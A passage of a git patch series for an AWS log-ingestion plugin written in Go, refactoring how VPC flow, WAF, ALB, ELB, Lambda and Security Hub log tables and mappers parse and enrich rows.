&VpcFlowLogTableConfig{} +//} +// +//// EnrichRow implements table.Table +//func (c *VPCFlowLogLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.VpcFlowLog, error) { +// // initialize the enrichment fields to any fields provided by the source +// if sourceEnrichmentFields != nil { +// row.CommonFields = *sourceEnrichmentFields +// } +// +// // Record standardization +// row.TpID = xid.New().String() +// +// // TODO is source type actually the source, i.e compressed file source etc> +// // should these all be filled in by the source??? +// row.TpSourceType = c.Identifier() +// //row.TpSourceName = ??? +// //row.TpSourceLocation = ??? +// row.TpIngestTimestamp = time.Now() +// +// // Hive fields +// // TODO - should be based on the definition in HCL +// row.TpPartition = "default" +// if row.AccountID != nil { +// row.TpIndex = *row.AccountID +// } +// +// // populate the year, month, day from start time +// if row.Timestamp != nil { +// // convert to date in format yy-mm-dd +// row.TpDate = row.Timestamp.In(time.UTC).Truncate(24 * time.Hour) +// row.TpTimestamp = *row.Timestamp +// } else if row.Start != nil { +// // convert to date in format yy-mm-dd +// // TODO is Start unix millis?? if so why do we convert it for TpTimestamp +// row.TpDate = time.UnixMilli(*row.Start).Truncate(24 * time.Hour) +// +// //convert from unis seconds to milliseconds +// row.TpTimestamp = time.Unix(0, int64(*row.Start*1000)*int64(time.Millisecond)) +// } +// +// //row.TpAkas = ??? +// //row.TpTags = ??? +// //row.TpDomains = ??? +// //row.TpEmails = ??? +// //row.TpUsernames = ??? +// +// // ips +// if row.SrcAddr != nil { +// row.TpSourceIP = row.SrcAddr +// row.TpIps = append(row.TpIps, *row.SrcAddr) +// } +// if row.DstAddr != nil { +// row.TpDestinationIP = row.DstAddr +// row.TpIps = append(row.TpIps, *row.DstAddr) +// } +// +// return row, nil +//} diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go index 3dd58c40..b7b18f6d 100644 --- a/tables/waf_traffic_log_table.go +++ b/tables/waf_traffic_log_table.go @@ -1,109 +1,91 @@ package tables -import ( - "context" - "strings" - "time" - - "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-aws/mappers" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/parse" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/table" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -// register the table from the package init function -func init() { - table.RegisterTable(NewWafTrafficLogTable) -} - -// WafTrafficLogTable - table for Waf traffic logs -type WafTrafficLogTable struct { - // all tables must embed table.TableImpl - table.TableImpl[*rows.WafTrafficLog, *WafTrafficLogTableConfig, *config.AwsConnection] -} - -func NewWafTrafficLogTable() table.Enricher[*rows.WafTrafficLog] { - return &WafTrafficLogTable{} -} - -func (c *WafTrafficLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { - // call base init - if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { - return err - } - - c.initMapper() - return nil -} - -func (c *WafTrafficLogTable) initMapper() { - // TODO switch on source - - // if the source is an artifact source, we need a mapper - c.Mapper = mappers.NewWafMapper() -} - -// Identifier implements table.Table -func (c *WafTrafficLogTable) Identifier() string { - return "aws_waf_traffic_log" -} - -// GetSourceOptions returns any options which should be passed to the given source type -func (c *WafTrafficLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - var opts []row_source.RowSourceOption - - switch sourceType { - case artifact_source.AwsS3BucketSourceIdentifier: - // the default file layout for Waf traffic logs in S3 - defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ - // TODO #config finalise default Waf traffic file layout - FileLayout: utils.ToStringPointer("waf-access-log-sample_(?P\\d{4})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2}).gz"), - } - opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine()) - } - - return opts -} - -// GetRowSchema implements table.Table -func (c *WafTrafficLogTable) GetRowSchema() types.RowStruct { - return rows.WafTrafficLog{} -} - -func (c *WafTrafficLogTable) GetConfigSchema() parse.Config { - return &WafTrafficLogTableConfig{} -} - -// EnrichRow implements table.Table -func (c *WafTrafficLogTable) EnrichRow(row *rows.WafTrafficLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.WafTrafficLog, error) { // initialize the enrichment fields to any fields provided by the source - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } - - // Record standardization - row.TpID = xid.New().String() - row.TpSourceType = "aws_waf_traffic_log" - row.TpTimestamp = *row.Timestamp - row.TpIngestTimestamp = time.Now() - - // Hive fields - // Check if row.HttpSourceId is not nil before dereferencing - if row.HttpSourceId != nil { - row.TpIndex = strings.ReplaceAll(*row.HttpSourceId, "/", `_`) - } else { - // Handle the case where HttpSourceId is nil, if needed - row.TpIndex = "" // or assign a default value if desired - } - // convert to date in format yy-mm-dd - row.TpDate = row.Timestamp.Truncate(24 * time.Hour) - - return row, nil -} +// +//// register the table from the package init function +//func init() { +// table.RegisterTable(NewWafTrafficLogTable) +//} +// +//// WafTrafficLogTable - table for Waf traffic logs +//type WafTrafficLogTable struct { +// // all tables must embed table.TableImpl +// table.TableImpl[*rows.WafTrafficLog, *WafTrafficLogTableConfig, *config.AwsConnection] +//} +// +//func NewWafTrafficLogTable() table.Table[*rows.WafTrafficLog] { +// return &WafTrafficLogTable{} +//} +// +//func (c *WafTrafficLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { +// // call base init +// if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { +// return err +// } +// +// c.initMapper() +// return nil +//} +// +//func (c *WafTrafficLogTable) initMapper() { +// // TODO switch on source +// +// // if the source is an artifact source, we need a mapper +// c.Mapper = mappers.NewWafMapper() +//} +// +//// Identifier implements table.Table +//func (c *WafTrafficLogTable) Identifier() string { +// return "aws_waf_traffic_log" +//} +// +//// GetSourceOptions returns any options which should be passed to the given source type +//func (c *WafTrafficLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { +// var opts []row_source.RowSourceOption +// +// switch sourceType { +// case artifact_source.AwsS3BucketSourceIdentifier: +// // the default file layout for Waf traffic logs in S3 +// defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ +// // TODO #config finalise default Waf traffic file layout +// FileLayout: utils.ToStringPointer("waf-access-log-sample_(?P\\d{4})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2}).gz"), +// } +// opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine()) +// } +// +// return opts +//} +// +//// GetRowSchema implements table.Table +//func (c *WafTrafficLogTable) GetRowSchema() types.RowStruct { +// return rows.WafTrafficLog{} +//} +// +//func (c *WafTrafficLogTable) GetConfigSchema() parse.Config { +// return &WafTrafficLogTableConfig{} +//} +// +//// EnrichRow implements table.Table +//func (c *WafTrafficLogTable) EnrichRow(row *rows.WafTrafficLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.WafTrafficLog, error) { // initialize the enrichment fields to any fields provided by the source +// if sourceEnrichmentFields != nil { +// row.CommonFields = *sourceEnrichmentFields +// } +// +// // Record standardization +// row.TpID = xid.New().String() +// row.TpSourceType = "aws_waf_traffic_log" +// row.TpTimestamp = *row.Timestamp +// row.TpIngestTimestamp = time.Now() +// +// // Hive fields +// // Check if row.HttpSourceId is not nil before dereferencing +// if row.HttpSourceId != nil { +// row.TpIndex = strings.ReplaceAll(*row.HttpSourceId, "/", `_`) +// } else { +// // Handle the case where HttpSourceId is nil, if needed +// row.TpIndex = "" // or assign a default value if desired +// } +// // convert to date in format yy-mm-dd +// row.TpDate = row.Timestamp.Truncate(24 * time.Hour) +// +// return row, nil +//} From 96a556bd2d57710ebb57e41b4fa7168e18b631cd Mon Sep 17 00:00:00 2001 From: Graza Date: Tue, 19 Nov 2024 10:17:12 +0000 Subject: [PATCH 089/180] refactor: using generic creation approach (#21) --- aws/plugin_test.go | 3 +- mappers/alb_access_log_mapper.go | 177 ------------ mappers/guardduty_mapper.go | 1 + mappers/lambda_log_mapper.go | 81 ++++++ mappers/securityhub_finding_mapper.go | 31 +- ...owlog_mapper.go => vpc_flow_log_mapper.go} | 14 +- rows/alb_access_log.go | 270 ++++++++---------- rows/elb_access_log.go | 96 +++---- rows/elb_access_log_test.go | 6 +- rows/guardduty_finding.go | 104 +++---- rows/lambda_log.go | 2 +- rows/s3_server_access_log.go | 53 ++-- tables/alb_access_log_table.go | 37 ++- tables/cloudtrail_log_table.go | 4 +- tables/cost_usage_log_table.go | 15 +- tables/elb_access_log_table.go | 153 +++++----- tables/guardduty_finding_table.go | 162 +++++------ tables/lambda_log_table.go | 154 ++++------ tables/s3_server_access_log_table.go | 145 +++++----- tables/securityhub_finding_log_table.go | 143 +++++----- tables/vpc_flow_log_table.go | 211 +++++++------- tables/waf_traffic_log_table.go | 164 +++++------ 22 files changed, 913 insertions(+), 1113 deletions(-) delete mode 100644 mappers/alb_access_log_mapper.go create mode 100644 mappers/lambda_log_mapper.go rename mappers/{flowlog_mapper.go => vpc_flow_log_mapper.go} (93%) diff --git a/aws/plugin_test.go b/aws/plugin_test.go index fba7e6db..dc2c4cad 100644 --- a/aws/plugin_test.go +++ b/aws/plugin_test.go @@ -1,8 +1,9 @@ package aws import ( - "github.com/turbot/tailpipe-plugin-sdk/plugin" "testing" + + "github.com/turbot/tailpipe-plugin-sdk/plugin" ) func TestConformance(t *testing.T) { diff --git a/mappers/alb_access_log_mapper.go b/mappers/alb_access_log_mapper.go deleted file mode 100644 index 5f6d8543..00000000 --- a/mappers/alb_access_log_mapper.go +++ /dev/null @@ -1,177 +0,0 @@ -package mappers - -import ( - "context" - "fmt" - "strconv" - "strings" - "time" - - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -// AlbLogMapper handles the mapping of ALB log lines to structured data. -// While simpler log formats can use the SDK's DelimitedLineMapper, ALB logs require -// custom parsing due to their complex format which includes: -// - Quoted strings containing spaces (e.g., user agents, HTTP requests) -// - Optional fields marked with "-" -// - Compound fields (IP:port combinations) -// - Mixed data types requiring careful parsing and validation -type AlbAccessLogMapper struct{} - -func NewAlbAccessLogMapper() table.Mapper[*rows.AlbAccessLog] { - return &AlbAccessLogMapper{} -} - -func (m *AlbAccessLogMapper) Map(_ context.Context, data any) ([]*rows.AlbAccessLog, error) { - // Handle string input directly - lineStr, ok := data.(string) - if !ok { - return nil, fmt.Errorf("expected string, got %T", data) - } - - // Create a new ALB log entry - logEntry := rows.NewAlbAccessLog() - - // Split the line and parse fields - // Using strings.Split to handle spaces between quoted strings - var fields []string - var currentField strings.Builder - inQuotes := false - - for _, char := range lineStr { - switch char { - case '"': - inQuotes = !inQuotes - case ' ': - if !inQuotes { - if currentField.Len() > 0 { - fields = append(fields, currentField.String()) - currentField.Reset() - } - } else { - currentField.WriteRune(char) - } - default: - currentField.WriteRune(char) - } - } - - // Add the last field - if currentField.Len() > 0 { - fields = append(fields, currentField.String()) - } - - if len(fields) < 27 { // Minimum required fields - return nil, fmt.Errorf("invalid number of fields in log entry: got %d, want at least 27", len(fields)) - } - - // Map fields to struct - logEntry.Type = fields[0] - - // Parse timestamp - timestamp, err := time.Parse(time.RFC3339Nano, fields[1]) - if err != nil { - return nil, fmt.Errorf("error parsing timestamp: %w", err) - } - logEntry.Timestamp = timestamp - - // ALB name - logEntry.AlbName = fields[2] - - // Parse client address - clientParts := strings.Split(fields[3], ":") - if len(clientParts) == 2 { - logEntry.ClientIP = clientParts[0] - port, err := strconv.Atoi(clientParts[1]) - if err == nil { - logEntry.ClientPort = port - } - } - - // Parse target address - if fields[4] != "-" { - targetParts := strings.Split(fields[4], ":") - if len(targetParts) == 2 { - logEntry.TargetIP = &targetParts[0] - port, err := strconv.Atoi(targetParts[1]) - if err == nil { - logEntry.TargetPort = port - } - } - } - - // Parse processing times - if rpt, err := strconv.ParseFloat(fields[5], 64); err == nil { - logEntry.RequestProcessingTime = rpt - } - if tpt, err := strconv.ParseFloat(fields[6], 64); err == nil { - logEntry.TargetProcessingTime = tpt - } - if rpt, err := strconv.ParseFloat(fields[7], 64); err == nil { - logEntry.ResponseProcessingTime = rpt - } - - // Status codes - if statusCode, err := strconv.Atoi(fields[8]); err == nil { - logEntry.AlbStatusCode = &statusCode - } - if statusCode, err := strconv.Atoi(fields[9]); err == nil { - logEntry.TargetStatusCode = &statusCode - } - - // Bytes - if received, err := strconv.ParseInt(fields[10], 10, 64); err == nil { - logEntry.ReceivedBytes = &received - } - if sent, err := strconv.ParseInt(fields[11], 10, 64); err == nil { - logEntry.SentBytes = &sent - } - - // Remove quotes from quoted fields - logEntry.Request = strings.Trim(fields[12], "\"") - logEntry.UserAgent = strings.Trim(fields[13], "\"") - logEntry.SslCipher = fields[14] - logEntry.SslProtocol = fields[15] - logEntry.TargetGroupArn = fields[16] - logEntry.TraceId = strings.Trim(fields[17], "\"") - logEntry.DomainName = strings.Trim(fields[18], "\"") - logEntry.ChosenCertArn = strings.Trim(fields[19], "\"") - - // Parse matched rule priority - if priority, err := strconv.Atoi(fields[20]); err == nil { - logEntry.MatchedRulePriority = priority - } - - // Parse request creation time - reqCreationTime, err := time.Parse(time.RFC3339Nano, fields[21]) - if err == nil { - logEntry.RequestCreationTime = reqCreationTime - } - - // Handle remaining fields - logEntry.ActionsExecuted = strings.Trim(fields[22], "\"") - redirectURL := strings.Trim(fields[23], "\"") - if redirectURL != "-" { - logEntry.RedirectUrl = &redirectURL - } - errorReason := strings.Trim(fields[24], "\"") - if errorReason != "-" { - logEntry.ErrorReason = &errorReason - } - targetList := strings.Trim(fields[25], "\"") - if targetList != "-" { - logEntry.TargetList = &targetList - } - targetStatusList := strings.Trim(fields[26], "\"") - if targetStatusList != "-" { - logEntry.TargetStatusList = &targetStatusList - } - - return []*rows.AlbAccessLog{logEntry}, nil -} - -func (m *AlbAccessLogMapper) Identifier() string { - return "alb_log_mapper" -} diff --git a/mappers/guardduty_mapper.go b/mappers/guardduty_mapper.go index f22a755e..9365ba29 100644 --- a/mappers/guardduty_mapper.go +++ b/mappers/guardduty_mapper.go @@ -8,6 +8,7 @@ import ( "time" "github.com/aws/aws-sdk-go-v2/service/guardduty/types" + "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/table" ) diff --git a/mappers/lambda_log_mapper.go b/mappers/lambda_log_mapper.go new file mode 100644 index 00000000..8bbfae46 --- /dev/null +++ b/mappers/lambda_log_mapper.go @@ -0,0 +1,81 @@ +package mappers + +import ( + "context" + "fmt" + "strconv" + "strings" + "time" + + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +type LambdaLogMapper struct { +} + +func NewLambdaLogMapper() table.Mapper[*rows.LambdaLog] { + return &LambdaLogMapper{} +} + +func (m *LambdaLogMapper) Identifier() string { + return "lambda_log_mapper" +} + +func (m *LambdaLogMapper) Map(ctx context.Context, a any) ([]*rows.LambdaLog, error) { + var row rows.LambdaLog + + rawRow, ok := a.(string) + if !ok { + return nil, fmt.Errorf("expected string, got %T", a) + } + + rawRow = strings.TrimSuffix(rawRow, "\n") + fields := strings.Fields(rawRow) + + switch fields[0] { + case "START", "END": + row.LogType = &fields[0] + row.RequestID = &fields[2] + case "REPORT": + row.LogType = &fields[0] + row.RequestID = &fields[2] + duration, err := strconv.ParseFloat(fields[4], 64) + if err != nil { + return nil, fmt.Errorf("error parsing duration: %w", err) + } + row.Duration = &duration + billed, err := strconv.ParseFloat(fields[8], 64) + if err != nil { + return nil, fmt.Errorf("error parsing billed duration: %w", err) + } + row.BilledDuration = &billed + mem, err := strconv.Atoi(fields[12]) + if err != nil { + return nil, fmt.Errorf("error parsing memory size: %w", err) + } + row.MemorySize = &mem + maxMem, err := strconv.Atoi(fields[17]) + if err != nil { + return nil, fmt.Errorf("error parsing max memory used: %w", err) + } + row.MaxMemoryUsed = &maxMem + default: + t := "LOG" + row.LogType = &t + + ts, err := time.Parse(time.RFC3339, fields[0]) + if err != nil { + return nil, fmt.Errorf("error parsing timestamp: %w", err) + } + row.Timestamp = &ts + + row.RequestID = &fields[1] + row.LogLevel = &fields[2] + strip := fmt.Sprintf("%s%s", strings.Join(fields[:3], "\t"), "\t") + stripped := strings.TrimPrefix(rawRow, strip) + row.Message = &stripped + } + + return []*rows.LambdaLog{&row}, nil +} diff --git a/mappers/securityhub_finding_mapper.go b/mappers/securityhub_finding_mapper.go index 02e9276b..cbb3956b 100644 --- a/mappers/securityhub_finding_mapper.go +++ b/mappers/securityhub_finding_mapper.go @@ -7,7 +7,6 @@ import ( "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/table" - "github.com/turbot/tailpipe-plugin-sdk/types" ) type SecurityHubFindingsMapper struct { @@ -19,36 +18,28 @@ func NewSecurityHubFindingsMapper() table.Mapper[*rows.SecurityHubFindingLog] { return res } -func (c *SecurityHubFindingsMapper) Identifier() string { - return "securityhub_finding_mapper" +func (m *SecurityHubFindingsMapper) Identifier() string { + return "security_hub_finding_mapper" } func (m *SecurityHubFindingsMapper) Map(_ context.Context, a any) ([]*rows.SecurityHubFindingLog, error) { var b rows.SecurityHubFindingLog - // If `a` is a []uint8, unmarshal it into the expected struct - if data, ok := a.([]uint8); ok { + switch data := a.(type) { + case []byte: if err := json.Unmarshal(data, &b); err != nil { return nil, fmt.Errorf("error unmarshalling row data: %w", err) } - } else { - // Type assertion as usual if `a` is already of type rows.SecurityHubFindingLog - var ok bool - b, ok = a.(rows.SecurityHubFindingLog) - if !ok { - return nil, fmt.Errorf("expected rows.SecurityHubFindingLog, got %T", a) + case string: + if err := json.Unmarshal([]byte(data), &b); err != nil { + return nil, fmt.Errorf("error unmarshalling row data: %w", err) } + case rows.SecurityHubFindingLog: + b = data + default: + return nil, fmt.Errorf("expected byte[], string or rows.SecurityHubFindingLog, got %T", a) } - // Proceed with existing logic - s, err := json.Marshal(b.DetailFindings) - if err != nil { - return nil, fmt.Errorf("error marshalling row data: %w", err) - } - - dataJsonString := types.JSONString(s) - b.DetailFindings = &dataJsonString - return []*rows.SecurityHubFindingLog{&b}, nil } diff --git a/mappers/flowlog_mapper.go b/mappers/vpc_flow_log_mapper.go similarity index 93% rename from mappers/flowlog_mapper.go rename to mappers/vpc_flow_log_mapper.go index 3f150ee1..ad8e8d5b 100644 --- a/mappers/flowlog_mapper.go +++ b/mappers/vpc_flow_log_mapper.go @@ -11,25 +11,25 @@ import ( "github.com/turbot/tailpipe-plugin-aws/rows" ) -// VpcFlowlogMapper is a mapper that receives string objects and extracts VpcFlowLog record -type VpcFlowlogMapper struct { +// VpcFlowLogMapper is a mapper that receives string objects and extracts VpcFlowLog record +type VpcFlowLogMapper struct { schema []string } -func NewVpcFlowlogMapper(schema []string) *VpcFlowlogMapper { - res := &VpcFlowlogMapper{ +func NewVpcFlowLogMapper(schema []string) *VpcFlowLogMapper { + res := &VpcFlowLogMapper{ schema: schema, } return res } -func (c *VpcFlowlogMapper) Identifier() string { - return "flowlog_mapper" +func (c *VpcFlowLogMapper) Identifier() string { + return "vpc_flow_log_mapper" } // Map casts the data item as an string and returns the VpcFlowLog records -func (c *VpcFlowlogMapper) Map(_ context.Context, a any) ([]*rows.VpcFlowLog, error) { +func (c *VpcFlowLogMapper) Map(_ context.Context, a any) ([]*rows.VpcFlowLog, error) { rowString, ok := a.(string) if !ok { return nil, fmt.Errorf("expected string, got %T", a) diff --git a/rows/alb_access_log.go b/rows/alb_access_log.go index 600c1b8d..2aaa1ba3 100644 --- a/rows/alb_access_log.go +++ b/rows/alb_access_log.go @@ -9,6 +9,7 @@ import ( "time" "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" ) @@ -41,7 +42,7 @@ type AlbAccessLog struct { // Standard ALB fields Type string `json:"type"` Timestamp time.Time `json:"timestamp"` - AlbName string `json:"alb_name"` + Alb string `json:"alb"` ClientIP string `json:"client_ip"` ClientPort int `json:"client_port"` TargetIP *string `json:"target_ip,omitempty"` @@ -64,169 +65,138 @@ type AlbAccessLog struct { MatchedRulePriority int `json:"matched_rule_priority"` RequestCreationTime time.Time `json:"request_creation_time"` ActionsExecuted string `json:"actions_executed"` - RedirectUrl *string `json:"redirect_url,omitempty"` + RedirectURL *string `json:"redirect_url,omitempty"` ErrorReason *string `json:"error_reason,omitempty"` TargetList *string `json:"target_list,omitempty"` TargetStatusList *string `json:"target_status_list,omitempty"` Classification *string `json:"classification,omitempty"` ClassificationReason *string `json:"classification_reason,omitempty"` + ConnTraceID *string `json:"conn_trace_id,omitempty"` } -// NewAlbAccessLog creates a new ALB access log entry with initialized fields. -// Used by the mapper when creating new log entries from raw log lines. func NewAlbAccessLog() *AlbAccessLog { return &AlbAccessLog{} } -// parseField handles parsing of individual fields with proper error handling -func (l *AlbAccessLog) parseField(fieldName, value string) error { - if value == "-" { - return nil - } - - switch fieldName { - case "timestamp": - ts, err := time.Parse(time.RFC3339Nano, value) - if err != nil { - return fmt.Errorf("error parsing timestamp: %w", err) - } - l.Timestamp = ts - case "type": - l.Type = value - case "alb": - l.AlbName = value - case "client": - parts := strings.Split(value, ":") - if len(parts) == 2 { - l.ClientIP = parts[0] - port, err := strconv.Atoi(parts[1]) +// InitialiseFromMap initializes the struct from a map of string values +func (l *AlbAccessLog) InitialiseFromMap(m map[string]string) error { + var err error + for key, value := range m { + if value == "-" { + continue + } + switch key { + case "timestamp": + ts, err := time.Parse(time.RFC3339, value) if err != nil { - return fmt.Errorf("error parsing client port: %w", err) + return fmt.Errorf("error parsing timestamp: %w", err) } - l.ClientPort = port - } - case "target": - parts := strings.Split(value, ":") - if len(parts) == 2 { - ip := parts[0] - l.TargetIP = &ip - port, err := strconv.Atoi(parts[1]) + l.Timestamp = ts + case "type": + l.Type = value + case "alb": + l.Alb = value + case "client": + if strings.Contains(value, ":") { + parts := strings.Split(value, ":") + ip := parts[0] + l.ClientIP = ip + l.ClientPort, err = strconv.Atoi(parts[1]) + if err != nil { + return fmt.Errorf("error parsing client_port: %w", err) + } + } + case "target": + if strings.Contains(value, ":") { + parts := strings.Split(value, ":") + ip := parts[0] + l.TargetIP = &ip + l.TargetPort, err = strconv.Atoi(parts[1]) + if err != nil { + return fmt.Errorf("error parsing target_port: %w", err) + } + } + case "request_processing_time": + l.RequestProcessingTime, err = strconv.ParseFloat(value, 64) if err != nil { - return fmt.Errorf("error parsing target port: %w", err) + return fmt.Errorf("error parsing request_processing_time: %w", err) } - l.TargetPort = port - } - case "request_processing_time": - rpt, err := strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing request_processing_time: %w", err) - } - l.RequestProcessingTime = rpt - case "target_processing_time": - tpt, err := strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing target_processing_time: %w", err) - } - l.TargetProcessingTime = tpt - case "response_processing_time": - rpt, err := strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing response_processing_time: %w", err) - } - l.ResponseProcessingTime = rpt - case "alb_status_code": - code, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing alb_status_code: %w", err) - } - l.AlbStatusCode = &code - case "target_status_code": - code, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing target_status_code: %w", err) - } - l.TargetStatusCode = &code - case "received_bytes": - bytes, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing received_bytes: %w", err) - } - l.ReceivedBytes = &bytes - case "sent_bytes": - bytes, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing sent_bytes: %w", err) - } - l.SentBytes = &bytes - case "request": - l.Request = strings.Trim(value, "\"") - case "user_agent": - l.UserAgent = strings.Trim(value, "\"") - case "ssl_cipher": - l.SslCipher = value - case "ssl_protocol": - l.SslProtocol = value - case "target_group_arn": - l.TargetGroupArn = value - case "trace_id": - l.TraceId = strings.Trim(value, "\"") - case "domain_name": - l.DomainName = strings.Trim(value, "\"") - case "chosen_cert_arn": - l.ChosenCertArn = strings.Trim(value, "\"") - case "matched_rule_priority": - priority, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing matched_rule_priority: %w", err) - } - l.MatchedRulePriority = priority - case "request_creation_time": - rct, err := time.Parse(time.RFC3339Nano, value) - if err != nil { - return fmt.Errorf("error parsing request_creation_time: %w", err) - } - l.RequestCreationTime = rct - case "actions_executed": - l.ActionsExecuted = strings.Trim(value, "\"") - case "redirect_url": - if value != "-" { - v := strings.Trim(value, "\"") - l.RedirectUrl = &v - } - case "error_reason": - if value != "-" { - v := strings.Trim(value, "\"") - l.ErrorReason = &v - } - case "target_list": - if value != "-" { - v := strings.Trim(value, "\"") - l.TargetList = &v - } - case "target_status_list": - if value != "-" { - v := strings.Trim(value, "\"") - l.TargetStatusList = &v - } - case "classification": - if value != "-" { - v := strings.Trim(value, "\"") - l.Classification = &v - } - case "classification_reason": - if value != "-" { - v := strings.Trim(value, "\"") - l.ClassificationReason = &v - } - } - return nil -} - -// InitialiseFromMap initializes the struct from a map of string values -func (l *AlbAccessLog) InitialiseFromMap(m map[string]string) error { - for fieldName, value := range m { - if err := l.parseField(fieldName, value); err != nil { - return fmt.Errorf("error parsing field %s: %w", fieldName, err) + case "target_processing_time": + l.TargetProcessingTime, err = strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing target_processing_time: %w", err) + } + case "response_processing_time": + l.ResponseProcessingTime, err = strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing response_processing_time: %w", err) + } + case "alb_status_code": + asc, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing elb_status_code: %w", err) + } + l.AlbStatusCode = &asc + case "target_status_code": + tsc, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing target_status_code: %w", err) + } + l.TargetStatusCode = &tsc + case "received_bytes": + rb, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing received_bytes: %w", err) + } + l.ReceivedBytes = &rb + case "sent_bytes": + sb, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing sent_bytes: %w", err) + } + l.SentBytes = &sb + case "request": + l.Request = value + case "user_agent": + l.UserAgent = value + case "ssl_cipher": + l.SslCipher = value + case "ssl_protocol": + l.SslProtocol = value + case "target_group_arn": + l.TargetGroupArn = value + case "trace_id": + l.TraceId = value + case "domain_name": + l.DomainName = value + case "chosen_cert_arn": + l.ChosenCertArn = value + case "matched_rule_priority": + l.MatchedRulePriority, err = strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing matched_rule_priority: %w", err) + } + case "request_creation_time": + l.RequestCreationTime, err = time.Parse(time.RFC3339, value) + if err != nil { + return fmt.Errorf("error parsing request_creation_time: %w", err) + } + case "actions_executed": + l.ActionsExecuted = value + case "redirect_url": + l.RedirectURL = &value + case "error_reason": + l.ErrorReason = &value + case "target_list": + l.TargetList = &value + case "target_status_list": + l.TargetStatusList = &value + case "classification": + l.Classification = &value + case "classification_reason": + l.ClassificationReason = &value + case "conn_trace_id": + l.ConnTraceID = &value } } return nil @@ -246,7 +216,7 @@ func (l *AlbAccessLog) EnrichRow(sourceEnrichmentFields *enrichment.CommonFields // truncate timestamp to date l.TpDate = l.Timestamp.Truncate(24 * time.Hour) // Use ALB name as the index - l.TpIndex = l.AlbName + l.TpIndex = l.Alb // IP-related enrichment if l.ClientIP != "" { diff --git a/rows/elb_access_log.go b/rows/elb_access_log.go index 57740caf..3a1cd811 100644 --- a/rows/elb_access_log.go +++ b/rows/elb_access_log.go @@ -43,7 +43,7 @@ type ElbAccessLog struct { TargetStatusList *string `json:"target_status_list,omitempty"` Classification *string `json:"classification,omitempty"` ClassificationReason *string `json:"classification_reason,omitempty"` - ConnTraceID string `json:"conn_trace_id"` + ConnTraceID *string `json:"conn_trace_id,omitempty"` } func NewElbAccessLog() *ElbAccessLog { @@ -52,7 +52,11 @@ func NewElbAccessLog() *ElbAccessLog { // InitialiseFromMap - initialise the struct from a map func (l *ElbAccessLog) InitialiseFromMap(m map[string]string) error { + var err error for key, value := range m { + if value == "-" { + continue + } switch key { case "timestamp": ts, err := time.Parse(time.RFC3339, value) @@ -60,78 +64,69 @@ func (l *ElbAccessLog) InitialiseFromMap(m map[string]string) error { return fmt.Errorf("error parsing timestamp: %w", err) } l.Timestamp = ts - l.TpTimestamp = ts case "type": l.Type = value case "elb": l.Elb = value case "client": - if value != "-" && strings.Contains(value, ":") { - ip := strings.Split(value, ":")[0] + if strings.Contains(value, ":") { + parts := strings.Split(value, ":") + ip := parts[0] l.ClientIP = ip - // TODO MOVE TO ENRICH - l.TpSourceIP = &ip - l.TpIps = append(l.TpIps, ip) - l.ClientPort, _ = strconv.Atoi(strings.Split(value, ":")[1]) + l.ClientPort, err = strconv.Atoi(parts[1]) + if err != nil { + return fmt.Errorf("error parsing client_port: %w", err) + } } case "target": - if value != "-" && strings.Contains(value, ":") { - ip := strings.Split(value, ":")[0] + if strings.Contains(value, ":") { + parts := strings.Split(value, ":") + ip := parts[0] l.TargetIP = &ip - l.TpDestinationIP = &ip - l.TpIps = append(l.TpIps, ip) - 